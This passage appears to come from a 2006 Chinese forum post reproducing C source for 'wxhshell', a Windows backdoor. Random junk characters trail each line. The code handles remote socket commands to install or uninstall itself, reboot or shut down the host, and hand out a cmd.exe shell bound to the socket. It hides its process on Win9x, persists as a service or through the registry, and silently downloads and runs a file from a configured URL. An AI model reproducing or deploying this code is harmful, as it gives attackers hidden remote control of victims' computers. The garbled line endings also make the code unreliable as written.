  /3 VO!V]u  
  // 帮助 PgHmOs  
  case '?': { Qr7|;l3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,4 q^(  
    break; _wX(OB  
  } 3<N2ehi?  
  // 安装 {v|ib112;  
  case 'i': { )X:Sfk  
    if(Install()) og~a*my3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hl] y):  
    else e@S$[,8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sw$/Z)1K&  
    break; Nl/ fvJ`4  
    } H q?F@X  
  // 卸载 7i'clB9!  
  case 'r': { )s4: &!  
    if(Uninstall()) N}<!k#d E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ 4Mz:h^  
    else *5?Qam3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |T/s>OW  
    break; p$= 3$I  
    } S3$C#mHX  
  // 显示 wxhshell 所在路径 nEW.Y33  
  case 'p': { [*I7^h%  
    char svExeFile[MAX_PATH]; DiY74D  
    strcpy(svExeFile,"\n\r"); %s9*?6  
      strcat(svExeFile,ExeFile); wZ69W$,p  
        send(wsh,svExeFile,strlen(svExeFile),0); ZNpC& "`G  
    break; Qh6 vH9(D  
    } %++S;#)~  
  // 重启 Da!vGr  
  case 'b': { q8.Z7ux  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8 nqF i  
    if(Boot(REBOOT)) y4aT-^C'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %e)vl[:}  
    else { Y,EF'Ot  
    closesocket(wsh); +JY8"a97>  
    ExitThread(0); vb]uO ' l  
    } R>1oF]w  
    break; `ZO5-E  
    } i,% N#  
  // 关机 Pgq(yPC  
  case 'd': { 2 e#"JZ=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^k{/Yl  
    if(Boot(SHUTDOWN)) g>eWX*Pa|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i_+e&Bjd4j  
    else { p_e x  
    closesocket(wsh); $:1/`m19  
    ExitThread(0); Ov4 [gHy&  
    } 4>fj @X(3  
    break; 5|t-CY{?b  
    } Raetz>rL  
  // 获取shell c,ct=m.|6A  
  case 's': { T+rym8.p  
    CmdShell(wsh); wV{j CQ  
    closesocket(wsh); <:N$ $n  
    ExitThread(0); )8n?.keq  
    break; w40*vBz  
  } sSD&'K=lq  
  // 退出 yd'cLZd<}  
  case 'x': { B# .xs>{N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M?hPlo"_  
    CloseIt(wsh); K`ygW|?gt  
    break; LWSy"Cs*  
    } 3m2y<l<  
  // 离开 z|Xt'?9&n  
  case 'q': { Z0D&ayzkh^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T nyLVIP  
    closesocket(wsh); 0}'/pN>  
    WSACleanup(); !U(KQ:j  
    exit(1); K|6}g7&X  
    break; a9_2b}t  
        } e8egxm  
  } bNtOqhi  
  } u:J4Az^!  
6W7,EIf  
  // 提示信息 :0Y.${h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d(9SkXr  
}  2t  
  } ;A*sub  
.>PwbZ  
  return; ^YfAsBs&  
} 3/& |Z<f  
Z/v )^VR  
// shell模块句柄 ?qn4 ea-\P  
int CmdShell(SOCKET sock) 5H 1x-b  
{ @y0kX<M  
STARTUPINFO si; gh"_,ZhZt  
ZeroMemory(&si,sizeof(si)); {_z6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m}: X\G(6Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d~QJ}a  
PROCESS_INFORMATION ProcessInfo; IF//bgk-  
char cmdline[]="cmd"; -GQ.B{%G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T2mZkK?rA  
  return 0; NcX-* o  
} ANj%q9e!Yi  
2"P1I  
// 自身启动模式 qEdY]t   
int StartFromService(void) h\Zh^B6J  
{ !y!s/i&P%  
typedef struct @cm[]]f'l  
{ ^r]-v++  
  DWORD ExitStatus; 2!{_x8,n  
  DWORD PebBaseAddress; ,5K&f\  
  DWORD AffinityMask; 9jl\H6JY|  
  DWORD BasePriority; |c-`XC2g  
  ULONG UniqueProcessId; gB,Q4acjj  
  ULONG InheritedFromUniqueProcessId; 4xFAFK~lx  
}   PROCESS_BASIC_INFORMATION; @:!%Z`  
mt e3k=17  
PROCNTQSIP NtQueryInformationProcess; ,c;#~y  
o(t`XE['<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &qa16bz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZC^?ng  
*S4&V<W>  
  HANDLE             hProcess; 6+PP(>em  
  PROCESS_BASIC_INFORMATION pbi; +l7Bu}_?  
JKCV >k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kj6+$l   
  if(NULL == hInst ) return 0; .Dr7YquW  
v yP_qG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y%YP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DAEWa Kui  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  e+@.n  
7bJM $  
  if (!NtQueryInformationProcess) return 0; A7|x|mW  
'64/2x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jd 8g0^  
  if(!hProcess) return 0; &N %-.&t'  
2fPMZ7Zd3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *\Hut'7 d  
~H]d9C  
  CloseHandle(hProcess); /`O'eH  
$ WWi2cI;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n4ti{-^4|d  
if(hProcess==NULL) return 0; 3|Ar~_]  
I&x69  
HMODULE hMod; Ww{-(Ktx  
char procName[255]; #e9XU:9 @g  
unsigned long cbNeeded; T(~^X-k  
BTE&7/i 21  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dsb z\w3:  
a<V Mh79*  
  CloseHandle(hProcess); 52.hJNq#L  
VrFI5_M/  
if(strstr(procName,"services")) return 1; // 以服务启动 )9!ZkZbv_m  
a$6pA@7}  
  return 0; // 注册表启动 E 6!V0D  
} Z \ -  
_ g"su #  
// 主模块 b|`  
int StartWxhshell(LPSTR lpCmdLine) OQT i$2  
{ HlX7A 1i/  
  SOCKET wsl; VAa;XVmB  
BOOL val=TRUE; _'s5FlZq  
  int port=0; \z2d=E  
  struct sockaddr_in door; dBW#PRg  
['0^gN$:e  
  if(wscfg.ws_autoins) Install(); IRI<no  
|'#uV)b0@  
port=atoi(lpCmdLine); ^}GR!990  
e}L(tXZ  
if(port<=0) port=wscfg.ws_port; ;[Hrpl S  
)#Y:Bj7H@2  
  WSADATA data; P~"""3de4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xtp55"g  
KV'-^\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6r,zOs-I]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q.lh  
  door.sin_family = AF_INET; 'wTJX>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WF <*rl  
  door.sin_port = htons(port); +Nka,C^O"  
sM%.=~AN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cACnBgLl  
closesocket(wsl); OL#RkD  
return 1; [dXRord  
} VU|Cct&)  
I~c}&'V  
  if(listen(wsl,2) == INVALID_SOCKET) { DAd$u1  
closesocket(wsl); G@S'_  
return 1; 11yS2D   
} u+8?'ZT,  
  Wxhshell(wsl); g|4v>5Y  
  WSACleanup(); Al]z =  
k :zGv  
return 0; :.\h.H;  
XpOQBXbt  
} {*4Z9.2c*  
\V.U8asfI  
// 以NT服务方式启动 _]=, U.a=/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -QP1Se*#  
{ u+e.{Z!  
DWORD   status = 0; oRCD8b?  
  DWORD   specificError = 0xfffffff; aeF^&F0  
7kidPAhY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *yA. D?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bk~M^AK@~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .'N#qs_  
  serviceStatus.dwWin32ExitCode     = 0; {eo?vA8SE  
  serviceStatus.dwServiceSpecificExitCode = 0; /?QBMI  
  serviceStatus.dwCheckPoint       = 0; oI%.oP}G  
  serviceStatus.dwWaitHint       = 0; :~9F/Jx  
w9a6F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MT@Uu  
  if (hServiceStatusHandle==0) return; SkA"MhX  
'~'3x4Bo  
status = GetLastError(); \t@|-`  
  if (status!=NO_ERROR) Rd*/J~TK  
{ "mkTCR^]e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,cFp5tV$  
    serviceStatus.dwCheckPoint       = 0; (tP^F)}e5  
    serviceStatus.dwWaitHint       = 0; u8@>ThPD  
    serviceStatus.dwWin32ExitCode     = status; $(%t^8{a~G  
    serviceStatus.dwServiceSpecificExitCode = specificError; sQe>LNp,G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5=Y\d,SS"  
    return; bDPT1A`F  
  } gs77")K&  
/-ky'S9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pF"IDC  
  serviceStatus.dwCheckPoint       = 0; O8ZHIs  
  serviceStatus.dwWaitHint       = 0; PK* $  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b%,`;hy{  
} sWnU*Q  
YEqWTB|w  
// 处理NT服务事件,比如:启动、停止 Bhrp"l +|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U9B|u`72  
{ %Gs!oD  
switch(fdwControl) /=qn1  
{ u5FlT3hY.  
case SERVICE_CONTROL_STOP: = 8%+$vX  
  serviceStatus.dwWin32ExitCode = 0; bx<7@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /P|jHK|{  
  serviceStatus.dwCheckPoint   = 0; RA+k/2]y!  
  serviceStatus.dwWaitHint     = 0; "$BWP  
  { 0qV!-i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {GiR-q{t  
  } Wc$1Re{z  
  return; Ie?C<(8Ul  
case SERVICE_CONTROL_PAUSE: Z`b{r;`m8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^T|~L<A3  
  break; p(Q5!3C0q  
case SERVICE_CONTROL_CONTINUE: _\LAWQ|M4[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &6 L{1  
  break; r 6STc,%5  
case SERVICE_CONTROL_INTERROGATE: +d736lLe%  
  break; fhmq O0  
}; fm\IQqIK%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pJ5Sxgv{;  
} DFt1{qS8@u  
y(8AxsROp  
// 标准应用程序主函数 mko<J0|4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qyuU  
{ `=Hh5;ep  
5A6d]  
// 获取操作系统版本 ZWSYh>"  
OsIsNt=GetOsVer(); 7m=tu?@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); puz~Rfn#*  
X}xy v  
  // 从命令行安装 d1#;>MiU  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~8Z0{^  
:_Y@,CpIEg  
  // 下载执行文件 yg gQ4y6  
if(wscfg.ws_downexe) { #^v|u3^DD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GRb"jF>ut  
  WinExec(wscfg.ws_filenam,SW_HIDE); o84!$2P+w  
} ;p#)z/zZ  
NQ!jkojD  
if(!OsIsNt) { q8.K-"f(Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 MD S;qZx=  
HideProc(); 0> m-J  
StartWxhshell(lpCmdLine); Jx@3zl  
} .4~n|d>z  
else \0m[Ch}~ey  
  if(StartFromService()) 70L{u+wIy  
  // 以服务方式启动 </|IgN$w`  
  StartServiceCtrlDispatcher(DispatchTable); *O|Z[>  
else W9?Vh{w  
  // 普通方式启动 T'l >$6  
  StartWxhshell(lpCmdLine); {ls$#a+d  
gfs?H#  
return 0; 0t1WvW  
}
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只看该作者 1 发表于: 2006-10-10
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